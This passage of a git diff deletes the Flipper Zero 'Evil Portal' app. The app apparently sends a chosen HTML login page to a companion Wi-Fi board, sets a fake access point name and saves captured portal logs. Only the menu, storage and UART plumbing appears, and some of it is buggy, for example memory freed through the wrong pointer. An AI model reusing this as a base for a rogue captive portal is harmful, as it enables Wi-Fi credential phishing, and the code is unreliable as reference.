EVIL_PORTAL_INDEX_SAVE_PATH)) { - FuriString* tmp = furi_string_alloc_set(EVIL_PORTAL_INDEX_DEFAULT_PATH); - evil_portal_replace_index_html(tmp); - furi_string_free(tmp); - } - - if(storage_common_stat(storage, EVIL_PORTAL_INDEX_SAVE_PATH, &fi) == FSE_OK) { - File* index_html = storage_file_alloc(storage); - if(storage_file_open( - index_html, EVIL_PORTAL_INDEX_SAVE_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) { - app->index_html = malloc((size_t)fi.size); - uint8_t* buf_ptr = app->index_html; - size_t read = 0; - while(read < fi.size) { - size_t to_read = fi.size - read; - if(to_read > UINT16_MAX) to_read = UINT16_MAX; - uint16_t now_read = storage_file_read(index_html, buf_ptr, (uint16_t)to_read); - read += now_read; - buf_ptr += now_read; - } - free(buf_ptr); - } - storage_file_close(index_html); - storage_file_free(index_html); - } else { - char* html_error = "Evil portal
Unable to read the html file.
" - "Is the SD Card set up correctly?
See instructions @ " - "github.com/bigbrodude6119/flipper-zero-evil-portal
" - "Under the 'Install pre-built app on the flipper' section."; - app->index_html = (uint8_t*)html_error; - } - - evil_portal_close_storage(); -} - -void evil_portal_replace_index_html(FuriString* path) { - Storage* storage = evil_portal_open_storage(); - FS_Error error; - error = storage_common_remove(storage, EVIL_PORTAL_INDEX_SAVE_PATH); - if(error != FSE_OK) { - FURI_LOG_D("EVIL PORTAL", "Error removing file"); - } else { - FURI_LOG_D("EVIL PORTAL", "Error removed file"); - } - error = storage_common_copy(storage, furi_string_get_cstr(path), EVIL_PORTAL_INDEX_SAVE_PATH); - if(error != FSE_OK) { - FURI_LOG_D("EVIL PORTAL", "Error copying file"); - } - evil_portal_close_storage(); -} - -void evil_portal_create_html_folder_if_not_exists() { - Storage* storage = evil_portal_open_storage(); - if(storage_common_stat(storage, HTML_FOLDER, NULL) == FSE_NOT_EXIST) { - FURI_LOG_D("Evil Portal", "Directory %s doesn't exist. Will create new.", HTML_FOLDER); - if(!storage_simply_mkdir(storage, HTML_FOLDER)) { - FURI_LOG_E("Evil Portal", "Error creating directory %s", HTML_FOLDER); - } - } - evil_portal_close_storage(); -} - -void evil_portal_read_ap_name(void* context) { - Evil_PortalApp* app = context; - Storage* storage = evil_portal_open_storage(); - FileInfo fi; - - if(storage_common_stat(storage, EVIL_PORTAL_AP_SAVE_PATH, &fi) == FSE_OK) { - File* ap_name = storage_file_alloc(storage); - if(storage_file_open(ap_name, EVIL_PORTAL_AP_SAVE_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) { - app->ap_name = malloc((size_t)fi.size); - uint8_t* buf_ptr = app->ap_name; - size_t read = 0; - while(read < fi.size) { - size_t to_read = fi.size - read; - if(to_read > UINT16_MAX) to_read = UINT16_MAX; - uint16_t now_read = storage_file_read(ap_name, buf_ptr, (uint16_t)to_read); - read += now_read; - buf_ptr += now_read; - } - free(buf_ptr); - } - storage_file_close(ap_name); - storage_file_free(ap_name); - } else { - char* app_default = "Evil Portal"; - app->ap_name = (uint8_t*)app_default; - } - evil_portal_close_storage(); -} - -void evil_portal_write_ap_name(void* context) { - Evil_PortalApp* app = context; - Storage* storage = evil_portal_open_storage(); - - File* ap_name = storage_file_alloc(storage); - if(storage_file_open(ap_name, EVIL_PORTAL_AP_SAVE_PATH, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { - storage_file_write(ap_name, app->text_store[0], strlen(app->text_store[0])); - } - storage_file_close(ap_name); - storage_file_free(ap_name); - evil_portal_close_storage(); -} - -char* sequential_file_resolve_path( - Storage* storage, - const char* dir, - const char* prefix, - const char* extension) { - if(storage == NULL || dir == NULL || prefix == NULL || extension == NULL) { - return NULL; - } - - char file_path[256]; - int file_index = 0; - - do { - if(snprintf( - file_path, sizeof(file_path), "%s/%s_%d.%s", dir, prefix, file_index, extension) < - 0) { - return NULL; - } - file_index++; - } while(storage_file_exists(storage, file_path)); - - return strdup(file_path); -} - -void write_logs(FuriString* portal_logs) { - Storage* storage = evil_portal_open_storage(); - - if(!storage_file_exists(storage, EVIL_PORTAL_LOG_SAVE_PATH)) { - storage_simply_mkdir(storage, EVIL_PORTAL_LOG_SAVE_PATH); - } - - char* seq_file_path = - sequential_file_resolve_path(storage, EVIL_PORTAL_LOG_SAVE_PATH, "log", "txt"); - - File* file = storage_file_alloc(storage); - - if(storage_file_open(file, seq_file_path, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { - storage_file_write( - file, furi_string_get_cstr(portal_logs), furi_string_utf8_length(portal_logs)); - } - storage_file_close(file); - storage_file_free(file); - evil_portal_close_storage(); -} diff --git a/applications/external/evil_portal/helpers/evil_portal_storage.h b/applications/external/evil_portal/helpers/evil_portal_storage.h deleted file mode 100644 index 234b853e6..000000000 --- a/applications/external/evil_portal/helpers/evil_portal_storage.h +++ /dev/null @@ -1,26 +0,0 @@ -#include "../evil_portal_app_i.h" -#include -#include -#include -#include -#include - -#define PORTAL_FILE_DIRECTORY_PATH EXT_PATH("apps_data/evil_portal") -#define HTML_EXTENSION ".html" -#define HTML_FOLDER PORTAL_FILE_DIRECTORY_PATH "/html" -#define EVIL_PORTAL_INDEX_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/index.html" -#define EVIL_PORTAL_INDEX_DEFAULT_PATH HTML_FOLDER "/xtreme.html" -#define EVIL_PORTAL_AP_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/ap.config.txt" -#define EVIL_PORTAL_LOG_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/logs" - -void evil_portal_read_index_html(void* context); -void evil_portal_read_ap_name(void* context); -void evil_portal_write_ap_name(void* context); -void evil_portal_replace_index_html(FuriString* path); -void evil_portal_create_html_folder_if_not_exists(); -void write_logs(FuriString* portal_logs); -char* sequential_file_resolve_path( - Storage* storage, - const char* dir, - const char* prefix, - const char* extension); diff --git a/applications/external/evil_portal/icons/evil_portal_10px.png b/applications/external/evil_portal/icons/evil_portal_10px.png deleted file mode 100644 index eed8789a405660a0fe46df99fd734b403bdf852b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 156 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2V8<6ZZI=>f4F%}28J29*~C-V}>3GsAs4ABUl z+JBJufB^^d+rRD0jJP;FF0J}G;dr5$iSgkomB+W2350#{V4RS^yxf$@zBlSi2E)xl zx8-leVi~vpWxBs8bgAs**2O<&M14qJbbQX$9}GQlf$yJm6xaaGXYh3Ob6Mw<(8Rz1 E0F6&L5dZ)H diff --git a/applications/external/evil_portal/scenes/evil_portal_scene.c b/applications/external/evil_portal/scenes/evil_portal_scene.c deleted file mode 100644 index f6f06d8cc..000000000 --- a/applications/external/evil_portal/scenes/evil_portal_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "evil_portal_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const evil_portal_scene_on_enter_handlers[])(void*) = { -#include "evil_portal_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const evil_portal_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "evil_portal_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const evil_portal_scene_on_exit_handlers[])(void* context) = { -#include "evil_portal_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers evil_portal_scene_handlers = { - .on_enter_handlers = evil_portal_scene_on_enter_handlers, - .on_event_handlers = evil_portal_scene_on_event_handlers, - .on_exit_handlers = evil_portal_scene_on_exit_handlers, - .scene_num = Evil_PortalSceneNum, -}; diff --git a/applications/external/evil_portal/scenes/evil_portal_scene.h b/applications/external/evil_portal/scenes/evil_portal_scene.h deleted file mode 100644 index 8468f9157..000000000 --- a/applications/external/evil_portal/scenes/evil_portal_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) Evil_PortalScene##id, -typedef enum { -#include "evil_portal_scene_config.h" - Evil_PortalSceneNum, -} Evil_PortalScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers evil_portal_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "evil_portal_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "evil_portal_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "evil_portal_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/evil_portal/scenes/evil_portal_scene_config.h b/applications/external/evil_portal/scenes/evil_portal_scene_config.h deleted file mode 100644 index ffb958487..000000000 --- a/applications/external/evil_portal/scenes/evil_portal_scene_config.h +++ /dev/null @@ -1,4 +0,0 @@ -ADD_SCENE(evil_portal, start, Start) -ADD_SCENE(evil_portal, console_output, ConsoleOutput) -ADD_SCENE(evil_portal, rename, Rename) -ADD_SCENE(evil_portal, select_html, SelectHtml) diff --git a/applications/external/evil_portal/scenes/evil_portal_scene_console_output.c b/applications/external/evil_portal/scenes/evil_portal_scene_console_output.c deleted file mode 100644 index 19b076845..000000000 --- a/applications/external/evil_portal/scenes/evil_portal_scene_console_output.c +++ /dev/null @@ -1,157 +0,0 @@ -#include "../evil_portal_app_i.h" -#include "../helpers/evil_portal_storage.h" - -void evil_portal_console_output_handle_rx_data_cb(uint8_t* buf, size_t len, void* context) { - furi_assert(context); - Evil_PortalApp* app = context; - - // If text box store gets too big, then truncate it - app->text_box_store_strlen += len; - if(app->text_box_store_strlen >= EVIL_PORTAL_TEXT_BOX_STORE_SIZE - 1) { - furi_string_right(app->text_box_store, app->text_box_store_strlen / 2); - app->text_box_store_strlen = furi_string_size(app->text_box_store) + len; - } - - // Null-terminate buf and append to text box store - buf[len] = '\0'; - furi_string_cat_printf(app->text_box_store, "%s", buf); - - view_dispatcher_send_custom_event(app->view_dispatcher, Evil_PortalEventRefreshConsoleOutput); -} - -void evil_portal_scene_console_output_on_enter(void* context) { - Evil_PortalApp* app = context; - - TextBox* text_box = app->text_box; - text_box_reset(app->text_box); - text_box_set_font(text_box, TextBoxFontText); - if(app->focus_console_start) { - text_box_set_focus(text_box, TextBoxFocusStart); - } else { - text_box_set_focus(text_box, TextBoxFocusEnd); - } - - if(app->is_command) { - furi_string_reset(app->text_box_store); - app->text_box_store_strlen = 0; - app->sent_reset = false; - - if(0 == strncmp("help", app->selected_tx_string, strlen("help"))) { - const char* help_msg = "BLUE = Waiting\nGREEN = Good\nRED = Bad\n\nThis project is a " - "WIP.\ngithub.com/bigbrodude6119/flipper-zero-evil-portal\n\n" - "Version 0.0.2\n\n"; - furi_string_cat_str(app->text_box_store, help_msg); - app->text_box_store_strlen += strlen(help_msg); - if(app->show_stopscan_tip) { - const char* msg = "Press BACK to return\n"; - furi_string_cat_str(app->text_box_store, msg); - app->text_box_store_strlen += strlen(msg); - } - } - - if(0 == strncmp("savelogs", app->selected_tx_string, strlen("savelogs"))) { - const char* help_msg = "Logs saved.\n\n"; - furi_string_cat_str(app->text_box_store, help_msg); - app->text_box_store_strlen += strlen(help_msg); - write_logs(app->portal_logs); - furi_string_reset(app->portal_logs); - if(app->show_stopscan_tip) { - const char* msg = "Press BACK to return\n"; - furi_string_cat_str(app->text_box_store, msg); - app->text_box_store_strlen += strlen(msg); - } - } - - if(0 == strncmp("setapname", app->selected_tx_string, strlen("setapname"))) { - scene_manager_next_scene(app->scene_manager, Evil_PortalSceneRename); - return; - } - - if(0 == strncmp("selecthtml", app->selected_tx_string, strlen("selecthtml"))) { - scene_manager_next_scene(app->scene_manager, Evil_PortalSceneSelectHtml); - return; - } - - if(0 == strncmp(SET_HTML_CMD, app->selected_tx_string, strlen(SET_HTML_CMD))) { - app->command_queue[0] = SET_AP_CMD; - app->has_command_queue = true; - app->command_index = 0; - if(app->show_stopscan_tip) { - const char* msg = "Starting portal\nIf no response press\nBACK to return\n"; - furi_string_cat_str(app->text_box_store, msg); - app->text_box_store_strlen += strlen(msg); - } - } - - if(0 == strncmp(RESET_CMD, app->selected_tx_string, strlen(RESET_CMD))) { - app->sent_reset = true; - if(app->show_stopscan_tip) { - const char* msg = "Reseting portal\nPress BACK to return\n\n\n\n"; - furi_string_cat_str(app->text_box_store, msg); - app->text_box_store_strlen += strlen(msg); - } - } - } - - text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store)); - - scene_manager_set_scene_state(app->scene_manager, Evil_PortalSceneConsoleOutput, 0); - view_dispatcher_switch_to_view(app->view_dispatcher, Evil_PortalAppViewConsoleOutput); - - // Register callback to receive data - evil_portal_uart_set_handle_rx_data_cb( - app->uart, evil_portal_console_output_handle_rx_data_cb); - - if(app->is_command && app->selected_tx_string) { - if(0 == strncmp(SET_HTML_CMD, app->selected_tx_string, strlen(SET_HTML_CMD))) { - evil_portal_read_index_html(context); - - FuriString* data = furi_string_alloc(); - furi_string_cat(data, "sethtml="); - furi_string_cat(data, (char*)app->index_html); - - evil_portal_uart_tx( - (uint8_t*)(furi_string_get_cstr(data)), strlen(furi_string_get_cstr(data))); - evil_portal_uart_tx((uint8_t*)("\n"), 1); - - app->sent_html = true; - - free(data); - free(app->index_html); - - evil_portal_read_ap_name(context); - } else if(0 == strncmp(RESET_CMD, app->selected_tx_string, strlen(RESET_CMD))) { - app->sent_html = false; - app->sent_ap = false; - evil_portal_uart_tx( - (uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string)); - evil_portal_uart_tx((uint8_t*)("\n"), 1); - } else if(1 == strncmp("help", app->selected_tx_string, strlen("help"))) { - evil_portal_uart_tx( - (uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string)); - evil_portal_uart_tx((uint8_t*)("\n"), 1); - } - } -} - -bool evil_portal_scene_console_output_on_event(void* context, SceneManagerEvent event) { - Evil_PortalApp* app = context; - - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store)); - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - consumed = true; - } - - return consumed; -} - -void evil_portal_scene_console_output_on_exit(void* context) { - Evil_PortalApp* app = context; - - // Unregister rx callback - evil_portal_uart_set_handle_rx_data_cb(app->uart, NULL); -} diff --git a/applications/external/evil_portal/scenes/evil_portal_scene_rename.c b/applications/external/evil_portal/scenes/evil_portal_scene_rename.c deleted file mode 100644 index 72f3ef18c..000000000 --- a/applications/external/evil_portal/scenes/evil_portal_scene_rename.c +++ /dev/null @@ -1,42 +0,0 @@ -#include "../evil_portal_app_i.h" -#include "../helpers/evil_portal_storage.h" - -void evil_portal_text_input_callback(void* context) { - furi_assert(context); - Evil_PortalApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, Evil_PortalEventTextInput); -} - -void evil_portal_scene_rename_on_enter(void* context) { - Evil_PortalApp* app = context; - TextInput* text_input = app->text_input; - size_t enter_name_length = 25; - evil_portal_read_ap_name(app); - text_input_set_header_text(text_input, "AP Name/SSID"); - strncpy(app->text_store[0], (char*)app->ap_name, enter_name_length); - text_input_set_result_callback( - text_input, - evil_portal_text_input_callback, - context, - app->text_store[0], - enter_name_length, - false); - view_dispatcher_switch_to_view(app->view_dispatcher, Evil_PortalAppViewTextInput); -} - -bool evil_portal_scene_rename_on_event(void* context, SceneManagerEvent event) { - Evil_PortalApp* app = context; - SceneManager* scene_manager = app->scene_manager; - bool consumed = false; - if(event.type == SceneManagerEventTypeCustom) { - evil_portal_write_ap_name(app); - scene_manager_search_and_switch_to_previous_scene(scene_manager, Evil_PortalSceneStart); - consumed = true; - } - return consumed; -} - -void evil_portal_scene_rename_on_exit(void* context) { - Evil_PortalApp* app = context; - variable_item_list_reset(app->var_item_list); -} diff --git a/applications/external/evil_portal/scenes/evil_portal_scene_select_html.c b/applications/external/evil_portal/scenes/evil_portal_scene_select_html.c deleted file mode 100644 index 1dbcdd54d..000000000 --- a/applications/external/evil_portal/scenes/evil_portal_scene_select_html.c +++ /dev/null @@ -1,54 +0,0 @@ -#include "../evil_portal_app_i.h" -#include "../helpers/evil_portal_storage.h" - -void evil_portal_show_loading_popup(Evil_PortalApp* app, bool show) { - TaskHandle_t timer_task = xTaskGetHandle(configTIMER_SERVICE_TASK_NAME); - ViewStack* view_stack = app->view_stack; - Loading* loading = app->loading; - if(show) { - // Raise timer priority so that animations can play - vTaskPrioritySet(timer_task, configMAX_PRIORITIES - 1); - view_stack_add_view(view_stack, loading_get_view(loading)); - } else { - view_stack_remove_view(view_stack, loading_get_view(loading)); - // Restore default timer priority - vTaskPrioritySet(timer_task, configTIMER_TASK_PRIORITY); - } -} - -void evil_portal_scene_select_html_on_enter(void* context) { - Evil_PortalApp* app = context; - DialogsFileBrowserOptions browser_options; - evil_portal_create_html_folder_if_not_exists(); - - dialog_file_browser_set_basic_options(&browser_options, HTML_EXTENSION, &I_evil_portal_10px); - browser_options.base_path = HTML_FOLDER; - - FuriString* path; - path = furi_string_alloc(); - - furi_string_set(path, HTML_FOLDER); - - bool success = dialog_file_browser_show(app->dialogs, app->file_path, path, &browser_options); - furi_string_free(path); - - if(success) { - //Replace HTML File - evil_portal_show_loading_popup(app, true); - evil_portal_replace_index_html(app->file_path); - evil_portal_show_loading_popup(app, false); - } - - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, Evil_PortalSceneStart); -} - -bool evil_portal_scene_select_html_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - bool consumed = true; - return consumed; -} - -void evil_portal_scene_select_html_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/evil_portal/scenes/evil_portal_scene_start.c b/applications/external/evil_portal/scenes/evil_portal_scene_start.c deleted file mode 100644 index b06aedc51..000000000 --- a/applications/external/evil_portal/scenes/evil_portal_scene_start.c +++ /dev/null @@ -1,136 +0,0 @@ -#include "../evil_portal_app_i.h" - -// For each command, define whether additional arguments are needed -// (enabling text input to fill them out), and whether the console -// text box should focus at the start of the output or the end -typedef enum { NO_ARGS = 0, INPUT_ARGS, TOGGLE_ARGS } InputArgs; - -typedef enum { FOCUS_CONSOLE_END = 0, FOCUS_CONSOLE_START, FOCUS_CONSOLE_TOGGLE } FocusConsole; - -#define SHOW_STOPSCAN_TIP (true) -#define NO_TIP (false) - -#define MAX_OPTIONS (9) -typedef struct { - const char* item_string; - const char* options_menu[MAX_OPTIONS]; - int num_options_menu; - const char* actual_commands[MAX_OPTIONS]; - InputArgs needs_keyboard; - FocusConsole focus_console; - bool show_stopscan_tip; -} Evil_PortalItem; - -// NUM_MENU_ITEMS defined in evil_portal_app_i.h - if you add an entry here, -// increment it! -const Evil_PortalItem items[NUM_MENU_ITEMS] = { - // send command - {"Start portal", {""}, 1, {SET_HTML_CMD}, NO_ARGS, FOCUS_CONSOLE_END, SHOW_STOPSCAN_TIP}, - - // stop portal - {"Stop portal", {""}, 1, {RESET_CMD}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP}, - - // console - {"Save logs", {""}, 1, {"savelogs"}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP}, - - // set AP name - {"Set AP name", {""}, 1, {"setapname"}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP}, - - // select HTML Portal File - {"Select HTML", {""}, 1, {"selecthtml"}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP}, - - // help - {"Help", {""}, 1, {"help"}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP}, -}; - -static void evil_portal_scene_start_var_list_enter_callback(void* context, uint32_t index) { - furi_assert(context); - Evil_PortalApp* app = context; - - furi_assert(index < NUM_MENU_ITEMS); - const Evil_PortalItem* item = &items[index]; - - const int selected_option_index = app->selected_option_index[index]; - furi_assert(selected_option_index < item->num_options_menu); - app->selected_tx_string = item->actual_commands[selected_option_index]; - app->is_command = true; - app->is_custom_tx_string = false; - app->selected_menu_index = index; - app->focus_console_start = (item->focus_console == FOCUS_CONSOLE_TOGGLE) ? - (selected_option_index == 0) : - item->focus_console; - app->show_stopscan_tip = item->show_stopscan_tip; - - view_dispatcher_send_custom_event(app->view_dispatcher, Evil_PortalEventStartConsole); -} - -static void evil_portal_scene_start_var_list_change_callback(VariableItem* item) { - furi_assert(item); - - Evil_PortalApp* app = variable_item_get_context(item); - furi_assert(app); - - const Evil_PortalItem* menu_item = &items[app->selected_menu_index]; - uint8_t item_index = variable_item_get_current_value_index(item); - furi_assert(item_index < menu_item->num_options_menu); - variable_item_set_current_value_text(item, menu_item->options_menu[item_index]); - app->selected_option_index[app->selected_menu_index] = item_index; -} - -void evil_portal_scene_start_on_enter(void* context) { - Evil_PortalApp* app = context; - VariableItemList* var_item_list = app->var_item_list; - - variable_item_list_set_enter_callback( - var_item_list, evil_portal_scene_start_var_list_enter_callback, app); - - VariableItem* item; - for(int i = 0; i < NUM_MENU_ITEMS; ++i) { - item = variable_item_list_add( - var_item_list, - items[i].item_string, - items[i].num_options_menu, - evil_portal_scene_start_var_list_change_callback, - app); - variable_item_set_current_value_index(item, app->selected_option_index[i]); - variable_item_set_current_value_text( - item, items[i].options_menu[app->selected_option_index[i]]); - } - - variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, Evil_PortalSceneStart)); - - view_dispatcher_switch_to_view(app->view_dispatcher, Evil_PortalAppViewVarItemList); -} - -bool evil_portal_scene_start_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - Evil_PortalApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == Evil_PortalEventStartPortal) { - scene_manager_set_scene_state( - app->scene_manager, Evil_PortalSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, Evil_PortalAppViewStartPortal); - } else if(event.event == Evil_PortalEventStartKeyboard) { - scene_manager_set_scene_state( - app->scene_manager, Evil_PortalSceneStart, app->selected_menu_index); - } else if(event.event == Evil_PortalEventStartConsole) { - scene_manager_set_scene_state( - app->scene_manager, Evil_PortalSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, Evil_PortalAppViewConsoleOutput); - } - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - app->selected_menu_index = variable_item_list_get_selected_item_index(app->var_item_list); - consumed = true; - } - - return consumed; -} - -void evil_portal_scene_start_on_exit(void* context) { - Evil_PortalApp* app = context; - variable_item_list_reset(app->var_item_list); -}